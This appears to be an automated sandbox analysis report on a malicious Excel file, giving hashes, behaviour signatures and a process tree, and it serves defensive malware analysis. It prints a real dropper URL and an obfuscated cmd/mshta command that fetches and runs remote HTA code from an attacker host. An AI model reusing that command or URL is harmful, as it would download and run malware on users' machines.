Analysis

  • max time kernel
    60s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 12:33

General

  • Target

    22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe.xls

  • Size

    71KB

  • MD5

    1f4b74b40be109d5a7e1f6fc7d2b2a77

  • SHA1

    b9be35374f2d074c0ae9b606e8993a67767de56b

  • SHA256

    22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe

  • SHA512

    500ec22f3f55e4e4ef0add0084e03f79829cb58380cbe92eca43cc6db6ec4320a5cbfa3f0fb8bc4a447bcb04ba3720a2850d3e693e4305d2a82ee1f502939c08

  • SSDEEP

    1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\22cc5f027f58624d6d7b256f7c86f0fbfb56d892ce04834782078ad1c58ff9fe.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2308
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2124
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2308-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2308-1-0x000000007206D000-0x0000000072078000-memory.dmp

    Filesize

    44KB

  • memory/2308-2-0x000000007206D000-0x0000000072078000-memory.dmp

    Filesize

    44KB